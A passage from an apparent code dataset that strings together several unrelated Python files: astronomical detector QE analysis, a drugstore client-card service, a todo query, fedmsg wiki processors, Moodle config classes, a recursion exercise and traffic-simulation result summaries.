datasets.\"\"\"\r\nscan_name=os.path.basename(dir_path)\r\n\r\n# import all dataabases as pandas tables \r\ndetector_metadata=pd.read_csv(path_detector_metadata)\r\ncoat_regions=pd.read_csv(path_coat_regions_metadata,skiprows=2) # skiprows to skip header rows) \r\nanalysis_regions=pd.read_csv(path_analysis_regions_metadata,skiprows=2)# skiprows to skip header rows) \r\nphotodiode_data=pd.read_csv(path_photodidode_database,index_col=0) # getting photodiode data\r\n\r\ndef generate_qe_db(dir_path):\r\n \"\"\"This fuction crawls through the folder in which raw data from QE measurements is store and creates a database using the metadata in the fileanmes of the fits files, the log of the scan and the fits header. Theree dabases are creatd and stored as csv files for all images, bais images only, flat exposure images, and dark images. \r\n it compares the filenames in the folder to the fileneames in the log to ensure that all scan files are present. \r\n\r\n Args:\r\n dir_path (path): Path to the fodler wehre the raw data from QE scans is store.d \r\n scan_log (csv file): Each scan folder with dir_path has a scan_log.csv file that identifies which image \r\n Returns:\r\n images_db (pandas table): pandas datbase with information of all fits images (dark, bias, exposure)\r\n exposreu_db (pandas table): substed of the images_db created for convenience conatineing a list of flat exposure images with scan metadata, like associated wavelenght, filename etc. \r\n dark_db (pandas table): substed of the images_db created for convenience conatineing a list of dark images with scan metadata, like associated wavelenght, filename etc. \r\n bias_db (pandas table): subste of the images_db created for convenience conatinging only bias images with scan metadata, like assocaited wavelenght, filename etc.\r\n \r\n \"\"\" \r\n \r\n #get list of all files in the path folder\r\n dir_path_list=glob.glob(dir_path)\r\n\r\n print(f\"Going through dir: {dir_path}\")\r\n log_file=r'scan_log.csv' # name of the log file assocaited with each scan created by the monochromator scan script\r\n log_path=os.path.join(dir_path,log_file) #full path to the log file \r\n images_db=pd.read_csv(log_path,index_col=0) # reading the log into a database \r\n file_list=glob.glob(os.path.join(dir_path,'*.fits.Z')) #getting list of all files with the fits.Z extentions created by the nuvu acquisition scripts. \r\n if len(file_list)!=np.shape(images_db)[0]: # check if number of fits files in the fodler are same as the number of fits files in the scan. \r\n print(f\"The number of files in folder is {len(file_list)} While the number of files in database are {np.shape(images_db)[0]}.\")\r\n start_index= len(file_list)-np.shape(images_db)[0] #the file numbers may differ because of some test images taken before the scan was started. The start index is updated to start by skiping the first few files. \r\n file_list=file_list[start_index:] # updating the file list using the start index. \r\n images_db['filenames']=file_list # storing the filenlist in the database this stores the full path of the files in the database \r\n else: \r\n images_db['filenames']=file_list# storing the filenlist in the database this stores the full path of the files in the database \r\n\r\n # db_path=str(Path(dir_path).parents[0])\r\n db_path=dir_path # setting the databse torage path to same as the dir_path\r\n #extrating exposure images only, bias only, dark only images to a separate databases \r\n exposure_db=images_db[images_db['imtype']=='Exposure'].reset_index() \r\n bias_db=images_db[images_db['imtype']=='Bias'].reset_index()\r\n dark_db=images_db[images_db['imtype']=='Dark'].reset_index() \r\n #saving the daatabses in the same folder as raw data. \r\n images_db.to_csv(os.path.join(db_path,'images_db.csv'))\r\n exposure_db.to_csv(os.path.join(db_path,'flat_db.csv'))\r\n bias_db.to_csv(os.path.join(db_path,'bias_db.csv'))\r\n dark_db.to_csv(os.path.join(db_path,'dark_db.csv'))\r\n return images_db,exposure_db,bias_db,dark_db #returnign the databases as pandaas tables. \r\n\r\nclass extract_region:\r\n \"\"\"Extract region creates region objects taht are used for storing metadata of regions extracted from the fits file for anlaysis. We use astropy cutouts for extracting regions in the fits files. the metadata tstored in the regions object is a helfpul tool when creating these cutouts. \r\n \"\"\"\r\n def __init__(self, xmin,xmax,ymin,ymax,name='img',color='green'):\r\n \"\"\"The properties of each region object is stored here. Based on four concers fo the xmin, xmax, ymin, ymax fo the region to be extrated other properties like the center positions, shape, size etc are computed. Name and color atrributes are used to store \r\n\r\n Args:\r\n xmin (float): x coordinate value of the bottom corner of the region. Origin pixel on the image as reference \r\n xmax (float): x coordinate value of the top corner of the region. Origin pixel on the image as reference \r\n ymin (float): y coordinate value of the bottom corner of the region. Origin pixel on the image as reference\r\n ymax (float): y coordinate value of the top corner of the region. Origin pixel on the image as reference \r\n name (str, optional): name of the region for unique identification for e.g. unique name for a coaitng region or serial number an analysis region. Defaults to 'img'.\r\n color (str, optional): name of the region that can be used for plottingg. Use matplotlib color names. Defaults to 'green'.\r\n \"\"\"\r\n self.xmin = int(xmin)\r\n self.xmax = int(xmax)\r\n self.ymin = int(ymin)\r\n self.ymax = int(ymax)\r\n self.centx=int((xmax+xmin)/2)\r\n self.centy=int((ymax+ymin)/2)\r\n self.sizex=int((xmax-xmin))\r\n self.sizey=int(ymax-ymin)\r\n self.centpos= (self.centx,self.centy)\r\n self.size=(self.sizey,self.sizex)\r\n self.color=color\r\n self.name=name\r\n # def describe():\r\n # print(self.xmin)\r\n \r\ndef get_data(wl,exptime,coat,Region,center_position,size,Signal,Std,qe,image_fname='',bias_fname=''):\r\n # import datetime\r\n \"\"\"Helper tool to format each row appended to a pandas dataframe. The function creates a pyton dictionary that can be appended to a pandas dataframe. \r\n Args:\r\n wl (float): wavelength (nm)\r\n exptime (float): exposure time (seconds)\r\n coat (str): coating on the region \r\n Region (str): region name\r\n center_position (tuple): tuple with x and y position of the geometeric center of the region (pixels)\r\n size (tuple): x and y dimensions of region (pixels)\r\n Signal (float): Counts in (ADU)\r\n Std (float): STD of the counts in (ADU)\r\n qe (float): QE (dimensionless ratio)\r\n image_fname (str, optional): full path of the flat exposure image. Defaults to ''.\r\n bias_fname (str, optional): full path of the bias exposure image used for correction. Defaults to ''.\r\n\r\n Returns:\r\n python dictionary: all metadata collected into python discitin for injesion into pandas Dataframe \r\n \"\"\"\r\n data = {\r\n 'wl': [],\r\n 'exptime':[],\r\n 'coat':[],\r\n 'Region': [],\r\n 'center_position': [],\r\n 'size': [],\r\n 'Signal':[],\r\n 'Std':[],\r\n 'QE':[],\r\n 'image_fname':[],\r\n 'bias_fname':[]\r\n }\r\n data['wl'].append(wl)\r\n data['exptime'].append(exptime)\r\n data['coat'].append(coat)\r\n data['Region'].append(Region)\r\n data['center_position'].append(center_position)\r\n data['size'].append(size)\r\n data['Signal'].append(Signal)\r\n data['Std'].append(Std)\r\n data['QE'].append(qe)\r\n data['image_fname'].append(image_fname)\r\n data['bias_fname'].append(bias_fname)\r\n return data\r\n\r\ndef get_reduced_image_wl(wl,bias_db,dark_db,Exposure_db): \r\n biasfile=0\r\n print(f'Analysing data for {wl} nm')\r\n b_filename=bias_db[bias_db['wl']==wl].filenames.values[biasfile]\r\n imageb = np.array(fits.getdata(b_filename))\r\n ##modified from j to i index for one data set\r\n imageb=imageb*1.0\r\n d_filename=dark_db[dark_db['wl']==wl].filenames.values[0] \r\n imaged= np.array(fits.getdata(d_filename))\r\n\r\n f_filename=Exposure_db[Exposure_db['wl']==wl].filenames.values[0]\r\n imagef = np.array(fits.getdata(f_filename)) \r\n imagef=imagef##modified from j to i index for one data set\r\n imagef = imagef*1.0\r\n image= imagef-np.mean(imageb)-(imaged-np.mean(imageb))\r\n return image\r\n\r\ndef plot_regions_cutout(regions_list,wl_implot,bias_db,dark_db,Exposure_db): \r\n global detector_name\r\n # wl_implot=170\r\n imagef=get_reduced_image_wl(wl_implot,bias_db,dark_db,Exposure_db)\r\n imagef = imagef*1.0\r\n fig,ax=plt.subplots(figsize=(60,20))\r\n interval = MinMaxInterval()\r\n vmin, vmax = interval.get_limits((imagef))\r\n # Create an ImageNormalize object using a SqrtStretch object\r\n # norm = ImageNormalize(vmin=vmin, vmax=vmax, stretch=SqrtStretch())\r\n #norm_max=vmax\r\n #norm_min=vmin\r\n \r\n norm_max=10000\r\n norm_min=1000\r\n norm=ImageNormalize(vmin=norm_min, \r\n vmax=norm_max, \r\n #stretch=SqrtStretch()\r\n )\r\n im=ax.imshow((imagef),cmap='magma',norm=norm,origin='lower')\r\n cbar=fig.colorbar(im,extend='max')\r\n for idx,region in enumerate(regions_list): \r\n position = region.centpos\r\n size = region.size # pixels\r\n cutoutf1=Cutout2D(imagef, position, size,)\r\n cutoutf1.plot_on_original(color=colors[idx],label=region.name)\r\n ax.legend()\r\n ax.set_xlim(1082,2*1072)\r\n plt.grid(which='both',alpha=0.2)\r\n plt.title(f\"{detector_name}@{wl_implot} nm, {scan_name}, exptime={Exposure_db.Exp_time[0]} seconds\\n Analysis: Bias and Dark corrected\")\r\n ax.set_xlabel(\"x pixels\")\r\n ax.set_xlabel(\"y pixels\")\r\n fig_filename=os.path.join(f\"{dir_region_figs}\",f\"{scan_name}_{detector_name}_{wl_implot}nm.png\")\r\n plt.savefig(fig_filename)\r\n\r\ndef run_qe_analysis(bias_db,dark_db,images_db,Exposure_db):\r\n \"\"\"This scripts loops over ther region database and extracts the different regions for QE analysis form fits images. For each wavelength the regions are extracted and reduced by subracting the bias. For each region we caculate the mean flux and noise (std of the bias subracted signal). QE is caculated using \r\n\r\n Args:\r\n bias_db (pandas table): database of all bias images for the scan \r\n dark_db (pandas table): database of all dark images for the scan\r\n images_db (pandas table): database of all flat images for the scan\r\n Exposure_db (pandas table): database of all images for the scan\r\n \"\"\"\r\n regions_list=[] #list to store a list of regions\r\n for index,row in analysis_regions.iterrows(): #iterate over rows of the pandas table \r\n regions_list.append(extract_region(row.x1,row.x2,row.y1,row.y2,name=row.region_name,color=colors[index])) \r\n # \r\n # region_plot_wl=180\r\n # plot_regions_cutout(regions_list,region_plot_wl,bias_db,dark_db,Exposure_db)\r\n wllist=images_db['wl'].unique()\r\n\r\n biasfile=0 # which of the two bias files to use (pre or post)-- only one for the recent scans\r\n for idxb, wl in enumerate(wllist): #iterate over all wavelengths \r\n #plots the full image with cutout location for each region and save it in a fodler. \r\n plot_regions_cutout(regions_list,wl,bias_db,dark_db,Exposure_db)\r\n # read the bias and flat fits image data input numpy array\r\n print(f'Analysing data for {wl} nm')\r\n b_filename=bias_db[bias_db['wl']==wl].filenames.values[biasfile] #selecting bias file from the database\r\n imageb = np.array(fits.getdata(b_filename)) #numpy array\r\n imageb=imageb*1.0#enforcing all numbers to be float \r\n # d_filename=dark_db[dark_db['wl']==wl].filenames.values[0] #selecting dark file from the database\r\n # imaged= np.array(fits.getdata(d_filename))\r\n f_filename=Exposure_db[Exposure_db['wl']==wl].filenames.values[0] #selecting flat file from the database\r\n imagef = np.array(fits.getdata(f_filename)) #numpy array\r\n imagef = imagef*1.0 #enforcing all numbers to be float \r\n reg=1 #setting region counter. \r\n for region in regions_list: # iterating over the list of regions \r\n regsize = (region.sizey,region.sizex) # size of extaction region as a tuple\r\n center_pos= region.centpos # center of extraction region as a tuple \r\n # print(center_pos)\r\n imagef_sec=Cutout2D(imagef, center_pos, regsize).data # extract the region from bias image\r\n imageb_sec=Cutout2D(imageb, center_pos, regsize).data # extract the region form dark image\r\n # imaged_sec=Cutout2D(imaged, center_pos, regsize).data\r\n \r\n # print(np.mean(imagef_sec))\r\n # print(images_db.Exp_time[0])\r\n sig= np.std(imagef_sec-np.mean(imageb_sec)) #cacualte standard devaition of the signal in the regon after subrating mean bias \r\n mf = np.mean(imagef_sec-np.mean(imageb_sec)) #cacualte mean signal in the region after subrating mean bias \r\n \r\n # QE= (mean counts in the reion x convert signal form from ADu to e-/exposure time)/estiamted photon count rate\r\n # Exposure time is the same for all exposures we take the Exptime from the first file in the images_db.\r\n qe=((mf*conversion_gain)/images_db.Exp_time[0])/(photodiode_data[photodiode_data.Wavelength==wl].Photodidode_data_counts_per_pix.values[0])\r\n #print(qe)\r\n # coat=whichcoat(center_pos,regsize)\r\n \r\n # storing the caculated values in the pandas dataframe \r\n if idxb==0:\r\n # creates a new dataframe using the first entry \r\n region_data =pd.DataFrame(get_data(wl=wl,exptime=images_db.Exp_time[0],coat=\"\",Region=region.name,center_position=center_pos,size=regsize,Signal=mf, Std=sig, qe=qe ,image_fname=f_filename,bias_fname=b_filename))\r\n else:\r\n # appends row for a regionin the dataframe\r\n temp_data =pd.DataFrame(get_data(wl=wl,exptime=images_db.Exp_time[0],coat=\"\",Region=region.name,center_position=center_pos,size=regsize,Signal=mf, Std=sig,qe=qe,image_fname=f_filename,bias_fname=b_filename))\r\n region_data=pd.concat([region_data,temp_data],ignore_index=True)\r\n \r\n reg=reg+1\r\n #saves the extracted data to file \r\n region_data.to_csv(os.path.join(dir_path,f'regiondata_{scan_name}.csv')) \r\n plot_data=1\r\n if plot_data==1: \r\n #plotting the countrate and saving the plot to file \r\n fig,ax=plt.subplots(figsize=(18,12))\r\n region_data['Region']=region_data['Region'].astype(str)\r\n for idx,regnum in enumerate(region_data.Region.unique()): #itereate over different unique region to plot for each region\r\n ax.scatter(region_data[region_data.Region==regnum].wl,region_data[region_data.Region==regnum].Signal/images_db.Exp_time[0],label=f'{regnum}',color=colors[idx],s=15)\r\n ax.legend(title=\"Regions\")\r\n ax.set_xlabel(\"wavelength(nm)\")\r\n ax.set_ylabel(\"count rate (e-/s/pix)\")\r\n ax.set_yscale('log')\r\n ax.set_xlim(150,600)\r\n plt.title(f\"Mean count rate (ph/s/pix) in different regions vs wavelength\")\r\n # ax.set_xlim(160,420)\r\n # ax.set_ylim(0,2500)\r\n ax.grid(color='Grey',alpha=0.2,linestyle='-') \r\n plt.savefig(os.path.join(dir_path,'countrate.png')) #plot saved in he same path as raw data (Chnage this to fig folder for future)\r\n print(f\"Count rate vs wavelength plot saved as:{os.path.join(dir_path,'countrate.png')}\")\r\n \r\n #plotting the QE vs wavelength and saving the plot to file \r\n fig,ax=plt.subplots(figsize=(18,12))\r\n region_data['Region']=region_data['Region'].astype(str)\r\n for idx,regnum in enumerate(region_data.Region.unique()):\r\n ax.scatter(region_data[region_data.Region==regnum].wl,region_data[region_data.Region==regnum].QE,label=f'{regnum}',color=colors[idx],s=15)\r\n ax.legend(title=\"Regions\")\r\n ax.set_xlabel(\"wavelength(nm)\")\r\n ax.set_ylabel(\"QE\")\r\n #ax.set_yscale('log')\r\n ax.set_xlim(150,600)\r\n plt.title(f\"QE for different regions vs wavelength\")\r\n # ax.set_xlim(160,420)\r\n ax.set_ylim(0,1)\r\n ax.grid(color='Grey',alpha=0.2,linestyle='-') \r\n plt.savefig(os.path.join(dir_path,'qe.png')) #plot saved in he same path as raw data (Chnage this to fig folder for future)\r\n print(f\"QE Plots saved as:{os.path.join(dir_path,'qe.png')}\")\r\n\r\ndef main(): \r\n # generate the databases for the fits files \r\n images_db,Exposure_db,bias_db,dark_db=generate_qe_db(dir_path)\r\n # run the QE analysis \r\n run_qe_analysis(bias_db,dark_db,images_db,Exposure_db)\r\n \r\n \r\nif __name__ == \"__main__\":\r\n main()\r\n \r\n \r\n\"\"\" Deprecated helper fulctions\"\"\"\r\n# def set_regions(Region,coat,region_centx,region_centy,region_wx,region_wy):\r\n# \"\"\"_summary_\r\n\r\n# Args:\r\n# Region (_type_): _description_\r\n# coat (_type_): _description_\r\n# region_centx (_type_): _description_\r\n# region_centy (_type_): _description_\r\n# region_wx (_type_): _description_\r\n# region_wy (_type_): _description_\r\n\r\n# Returns:\r\n# _type_: _description_\r\n# \"\"\"\r\n# {'Region','Coat','region_centx','region_centy','region_wx','region_wy'}\r\n# data = {\r\n# 'Region': [],\r\n# 'coat':[],\r\n# 'region_centx': [],\r\n# 'region_centy': [],\r\n# 'region_wx': [],\r\n# 'region_wy':[]\r\n# }\r\n# data['Region'].append(Region)\r\n# data['Coat'].append(coat)\r\n# data['region_centx'].append(region_centx)\r\n# data['region_centy'].append(region_centy)\r\n# data['region_wx'].append(region_wx)\r\n# data['region_wy'].append(region_wy)\r\n# return data\r\n\r\n# def get_data(wl,exptime,coat,Region,center_position,size,Signal,Std,qe,image_fname='',bias_fname=''):\r\n# import datetime\r\n# data = {\r\n# 'wl': [],\r\n# 'exptime':[],\r\n# 'coat':[],\r\n# 'Region': [],\r\n# 'center_position': [],\r\n# 'size': [],\r\n# 'Signal':[],\r\n# 'Std':[],\r\n# 'QE':[],\r\n# 'image_fname':[],\r\n# 'bias_fname':[]\r\n# }\r\n# data['wl'].append(wl)\r\n# data['exptime'].append(exptime)\r\n# data['coat'].append(coat)\r\n# data['Region'].append(Region)\r\n# data['center_position'].append(center_position)\r\n# data['size'].append(size)\r\n# data['Signal'].append(Signal)\r\n# data['Std'].append(Std)\r\n# data['QE'].append(qe)\r\n# data['image_fname'].append(image_fname)\r\n# data['bias_fname'].append(bias_fname)\r\n# return data","repo_name":"aafaquerk/emccd_qe_analysis","sub_path":"qe_analysis_v2.py","file_name":"qe_analysis_v2.py","file_ext":"py","file_size_in_byte":23668,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"11858653126","text":"import datetime\r\n\r\nfrom domain.client_card import ClientCard\r\nfrom service.service_errors import ClientCardError\r\n# import datetime\r\n\r\n\r\nclass ClientCardService:\r\n\r\n def __init__(self, repository, validator):\r\n self.__repository = repository\r\n self.__validator = validator\r\n\r\n def add_client_card(self, id_client_card, surname, first_name, CNP, birth_date, register_date):\r\n \"\"\"\r\n Creates a client card.\r\n :param id_client_card: int, the client card id.\r\n :param surname: str, the surname of the client.\r\n :param first_name: str, the first name of the client.\r\n :param CNP: int, the CNP of the client.\r\n :param birth_date: date, the birth date of the client.\r\n :param register_date: date, the registration dat for the client card.\r\n :return:\r\n \"\"\"\r\n \"\"\"\r\n d1 = 0\r\n d2 = 0\r\n if type(birth_date) is not datetime.date:\r\n print(type(birth_date))\r\n args_birth = birth_date.split(\".\")\r\n d1 = datetime.date(int(args_birth[2]), int(args_birth[1]), int(args_birth[0]))\r\n else:\r\n d1 = birth_date\r\n if type(register_date) is not datetime.date:\r\n args_reg = register_date.split(\".\")\r\n d2 = datetime.date(int(args_reg[2]), int(args_reg[1]), int(args_reg[0]))\r\n else:\r\n d2 = register_date\r\n\r\n client_card = ClientCard(id_client_card, surname, first_name, CNP, d1, d2)\r\n\r\n \"\"\"\r\n for ent in self.__repository.read():\r\n if ent.CNP == CNP:\r\n raise ClientCardError(\"There alreay is a user with that CNP!\")\r\n client_card = ClientCard(id_client_card, surname, first_name, CNP, birth_date, register_date)\r\n self.__validator.validate(client_card)\r\n self.__repository.create(client_card)\r\n\r\n def update_client_card(self, id_client_card, surname, first_name, CNP, birth_date, register_date):\r\n \"\"\"\r\n Updates a client card.\r\n :param id_client_card: int, the client card id.\r\n :param surname: str, the surname of the client.\r\n :param first_name: str, the first name of the client.\r\n :param CNP: int, the CNP of the client.\r\n :param birth_date: date, the birth date of the client.\r\n :param register_date: date, the registration dat for the client card.\r\n :return:\r\n \"\"\"\r\n for ent in self.__repository.read():\r\n if ent.CNP == CNP:\r\n raise ClientCardError(\"There alreay is a user with that CNP!\")\r\n client_card = ClientCard(id_client_card, surname, first_name, CNP, birth_date, register_date)\r\n self.__repository.update(client_card)\r\n\r\n def delete_client_card(self, id_client_card):\r\n \"\"\"\r\n Deletes a client card.\r\n :param id_client_card: the id of the card to be deleted.\r\n :return: -\r\n \"\"\"\r\n self.__repository.delete(id_client_card)\r\n\r\n def get_all(self, client_card_id=None):\r\n return self.__repository.read(client_card_id)\r\n\r\n def client_card_search(self, op, criteria):\r\n \"\"\"\r\n Determines all the meds that respect the criteria\r\n :param op: the option\r\n :param criteria: the criteria\r\n :return: the list with all the valid values\r\n \"\"\"\r\n if op == \"1\":\r\n result = filter(lambda c : c.surname == criteria, self.__repository.read())\r\n elif op == \"2\":\r\n result = filter(lambda c : c.first_name == criteria, self.__repository.read())\r\n elif op == \"3\":\r\n result = filter(lambda c : c.CNP == int(criteria), self.__repository.read())\r\n elif op == \"4\":\r\n args = criteria.split(\".\")\r\n if len(args) != 3:\r\n raise ClientCardError(\"The criteria did not respect the date format!\")\r\n search_date = datetime.date(int(args[2]), int(args[1]), int(args[0]))\r\n result = filter(lambda c : c.birth_date == search_date, self.__repository.read())\r\n elif op == \"5\":\r\n args = criteria.split(\".\")\r\n if len(args) != 3:\r\n raise ClientCardError(\"The criteria did not respect the date format!\")\r\n search_date = datetime.date(int(args[2]), int(args[1]), int(args[0]))\r\n result = filter(lambda c: c.register_date == search_date, self.__repository.read())\r\n else:\r\n raise ClientCardError(\"The given option is invalid!\")\r\n return result\r\n\r\n def client_card_sorted_by_discounts(self):\r\n result = sorted(self.__repository.read(), key=lambda c: c.discounts, reverse=True)\r\n print(1)\r\n print(result)\r\n print(result)\r\n\r\n return result\r\n","repo_name":"prelipceancristian/Drugstore-Simulation","sub_path":"service/client_card_service.py","file_name":"client_card_service.py","file_ext":"py","file_size_in_byte":4724,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"13451038903","text":"from sqlalchemy import select\r\nfrom sqlalchemy.orm import Session\r\n\r\nfrom ..models import Todo\r\n\r\n\r\ndef get_list_of_todos_(\r\n db_session: Session,\r\n current_user: dict,\r\n):\r\n\r\n stmt = select(Todo).where(Todo.user_id == current_user[\"sub\"]).order_by(Todo.created_at.desc())\r\n todos: list[Todo] = db_session.execute(stmt).scalars().all()\r\n return todos\r\n","repo_name":"MrSalman333/base-python","sub_path":"app/api/todos/services/get_list_of_todos.py","file_name":"get_list_of_todos.py","file_ext":"py","file_size_in_byte":367,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"2617077519","text":"from fedmsg.text.base import BaseProcessor\n\n\nclass WikiProcessor(BaseProcessor):\n def handle_subtitle(self, msg, **config):\n return any([\n target in msg['topic'] for target in [\n 'wiki.article.edit',\n 'wiki.upload.complete',\n ]\n ])\n\n def subtitle(self, msg, **config):\n if 'wiki.article.edit' in msg['topic']:\n user = msg['msg']['user']\n title = msg['msg']['title']\n tmpl = self._('{user} made a wiki edit to \"{title}\".')\n return tmpl.format(user=user, title=title)\n elif 'wiki.upload.complete' in msg['topic']:\n user = msg['msg']['user_text']\n filename = msg['msg']['title']['mPrefixedText']\n description = msg['msg']['description'][:35]\n tmpl = self._(\n '{user} uploaded {filename} to the wiki: \"{description}...\"'\n )\n return tmpl.format(user=user, filename=filename,\n description=description)\n else:\n raise NotImplementedError\n\n def handle_link(self, msg, **config):\n return any([\n target in msg['topic'] for target in [\n 'wiki.article.edit',\n ]\n ])\n\n def link(self, msg, **config):\n if 'wiki.article.edit' in msg['topic']:\n return msg['msg']['url']\n else:\n raise NotImplementedError\n","repo_name":"ryansb/fedmsg","sub_path":"fedmsg/text/mediawiki.py","file_name":"mediawiki.py","file_ext":"py","file_size_in_byte":1439,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"29"} +{"seq_id":"778572719","text":"from moodle.attr import dataclass, field\nfrom typing import List\nfrom moodle import MoodleWarning, ResponsesFactory\n\n\n@dataclass\nclass Setting:\n \"\"\"Mobile Setting\n Constructor arguments:\n params: name (str): The name of the setting\n params: value (str): The value of the setting\n \"\"\"\n\n name: str\n value: str\n\n\n@dataclass\nclass MobileConfig(ResponsesFactory[Setting]):\n settings: List[Setting] = field(factory=list)\n warning: List[MoodleWarning] = field(factory=list)\n\n @property\n def items(self) -> List[Setting]:\n return self.settings\n","repo_name":"hexatester/moodlepy","sub_path":"moodle/tool/mobile/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":576,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"29"} +{"seq_id":"73045151438","text":"# Дано натуральное число N и последовательность из N элементов. Требуется вывести эту последовательность в обратном порядке.\n# При помощи рекурсии\n\n# 5\n# (n):\n# 1\n# 2\n# 3\n# 4\n# 5\n# 5 4 3 2 1\n\nimport os\nos.system('clear')\n\ndef rec_input(num):\n if num == 1:\n return input()\n temp = input()\n list_str = rec_input(num - 1) + ' ' + temp\n return list_str\n\nn = int(input('Введите натуральное число N: '))\nprint(rec_input(n))","repo_name":"Dashch88/GB7_Python","sub_path":"Python_Sem/Python_Sem5/3task.py","file_name":"3task.py","file_ext":"py","file_size_in_byte":583,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"15086620846","text":"import os\nimport pandas as pd\nimport numpy as np\nimport json\nimport shutil\nimport copy\n\n\ndef get_metrics(duration_list, traffic_name, total_summary_metrics, num_of_out):\n # calculate the mean final 10 rounds\n validation_duration_length = 10\n duration_list = np.array(duration_list)\n validation_duration = duration_list[-validation_duration_length:]\n validation_through = num_of_out[-validation_duration_length:]\n final_through = np.round(np.mean(validation_through), decimals=2)\n final_duration = np.round(np.mean(validation_duration[validation_duration > 0]), decimals=2)\n final_duration_std = np.round(np.std(validation_duration[validation_duration > 0]), decimals=2)\n\n total_summary_metrics[\"traffic\"].append(traffic_name.split(\".json\")[0])\n total_summary_metrics[\"final_duration\"].append(final_duration)\n total_summary_metrics[\"final_duration_std\"].append(final_duration_std)\n total_summary_metrics[\"final_through\"].append(final_through)\n\n return total_summary_metrics\n\n\ndef summary_detail_RL(memo_rl, total_summary_rl):\n \"\"\"\n Used for test RL results\n \"\"\"\n records_dir = os.path.join(\"records\", memo_rl)\n for traffic_file in os.listdir(records_dir):\n if \".json\" not in traffic_file:\n continue\n print(traffic_file)\n\n traffic_env_conf = open(os.path.join(records_dir, traffic_file, \"traffic_env.conf\"), 'r')\n dic_traffic_env_conf = json.load(traffic_env_conf)\n run_counts = dic_traffic_env_conf[\"RUN_COUNTS\"]\n num_intersection = dic_traffic_env_conf['NUM_INTERSECTIONS']\n duration_each_round_list = []\n num_of_vehicle_in = []\n num_of_vehicle_out = []\n test_round_dir = os.path.join(records_dir, traffic_file, \"test_round\")\n try:\n round_files = os.listdir(test_round_dir)\n except:\n print(\"no test round in {}\".format(traffic_file))\n continue\n round_files = [f for f in round_files if \"round\" in f]\n round_files.sort(key=lambda x: int(x[6:]))\n for round_rl in round_files:\n df_vehicle_all = []\n for inter_index in range(num_intersection):\n try:\n round_dir = os.path.join(test_round_dir, round_rl)\n df_vehicle_inter = pd.read_csv(os.path.join(round_dir, \"vehicle_inter_{0}.csv\".format(inter_index)),\n sep=',', header=0, dtype={0: str, 1: float, 2: float},\n names=[\"vehicle_id\", \"enter_time\", \"leave_time\"])\n\n\n # [leave_time_origin, leave_time, enter_time, duration]\n df_vehicle_inter['leave_time_origin'] = df_vehicle_inter['leave_time']\n df_vehicle_inter['leave_time'].fillna(run_counts, inplace=True)\n df_vehicle_inter['duration'] = df_vehicle_inter[\"leave_time\"].values - \\\n df_vehicle_inter[\"enter_time\"].values\n tmp_idx = []\n for i, v in enumerate(df_vehicle_inter[\"vehicle_id\"]):\n if \"shadow\" in v:\n tmp_idx.append(i)\n df_vehicle_inter.drop(df_vehicle_inter.index[tmp_idx], inplace=True)\n\n ave_duration = df_vehicle_inter['duration'].mean(skipna=True)\n print(\"------------- inter_index: {0}\\tave_duration: {1}\".format(inter_index, ave_duration))\n df_vehicle_all.append(df_vehicle_inter)\n except:\n print(\"======= Error occured during reading vehicle_inter_{}.csv\")\n\n if len(df_vehicle_all) == 0:\n print(\"====================================EMPTY\")\n continue\n\n df_vehicle_all = pd.concat(df_vehicle_all)\n # calculate the duration through the entire network\n vehicle_duration = df_vehicle_all.groupby(by=['vehicle_id'])['duration'].sum()\n ave_duration = vehicle_duration.mean() # mean amomng all the vehicle\n\n duration_each_round_list.append(ave_duration)\n\n num_of_vehicle_in.append(len(df_vehicle_all['vehicle_id'].unique()))\n num_of_vehicle_out.append(len(df_vehicle_all.dropna()['vehicle_id'].unique()))\n\n print(\"==== round: {0}\\tave_duration: {1}\\tnum_of_vehicle_in:{2}\\tnum_of_vehicle_out:{2}\"\n .format(round_rl, ave_duration, num_of_vehicle_in[-1], num_of_vehicle_out[-1]))\n duration_flow = vehicle_duration.reset_index()\n duration_flow['direction'] = duration_flow['vehicle_id'].apply(lambda x: x.split('_')[1])\n duration_flow_ave = duration_flow.groupby(by=['direction'])['duration'].mean()\n print(duration_flow_ave)\n result_dir = os.path.join(\"summary\", memo_rl, traffic_file)\n if not os.path.exists(result_dir):\n os.makedirs(result_dir)\n _res = {\n \"duration\": duration_each_round_list,\n \"vehicle_in\": num_of_vehicle_in,\n \"vehicle_out\": num_of_vehicle_out\n }\n result = pd.DataFrame(_res)\n result.to_csv(os.path.join(result_dir, \"test_results.csv\"))\n total_summary_rl = get_metrics(duration_each_round_list, traffic_file, total_summary_rl, num_of_vehicle_out)\n total_result = pd.DataFrame(total_summary_rl)\n total_result.to_csv(os.path.join(\"summary\", memo_rl, \"total_test_results.csv\"))\n\n\ndef summary_detail_conventional(memo_cv):\n \"\"\"\n Used for test conventional results.\n \"\"\"\n total_summary_cv = []\n records_dir = os.path.join(\"records\", memo_cv)\n for traffic_file in os.listdir(records_dir):\n if \"anon\" not in traffic_file:\n continue\n traffic_conf = open(os.path.join(records_dir, traffic_file, \"traffic_env.conf\"), 'r')\n\n dic_traffic_env_conf = json.load(traffic_conf)\n run_counts = dic_traffic_env_conf[\"RUN_COUNTS\"]\n\n print(traffic_file)\n train_dir = os.path.join(records_dir, traffic_file)\n use_all = True\n if use_all:\n with open(os.path.join(records_dir, traffic_file, 'agent.conf'), 'r') as agent_conf:\n dic_agent_conf = json.load(agent_conf)\n\n df_vehicle_all = []\n NUM_OF_INTERSECTIONS = int(traffic_file.split('_')[1]) * int(traffic_file.split('_')[2])\n\n for inter_id in range(int(NUM_OF_INTERSECTIONS)):\n vehicle_csv = \"vehicle_inter_{0}.csv\".format(inter_id)\n\n df_vehicle_inter_0 = pd.read_csv(os.path.join(train_dir, vehicle_csv),\n sep=',', header=0, dtype={0: str, 1: float, 2: float},\n names=[\"vehicle_id\", \"enter_time\", \"leave_time\"])\n\n # [leave_time_origin, leave_time, enter_time, duration]\n df_vehicle_inter_0['leave_time_origin'] = df_vehicle_inter_0['leave_time']\n df_vehicle_inter_0['leave_time'].fillna(run_counts, inplace=True)\n df_vehicle_inter_0['duration'] = 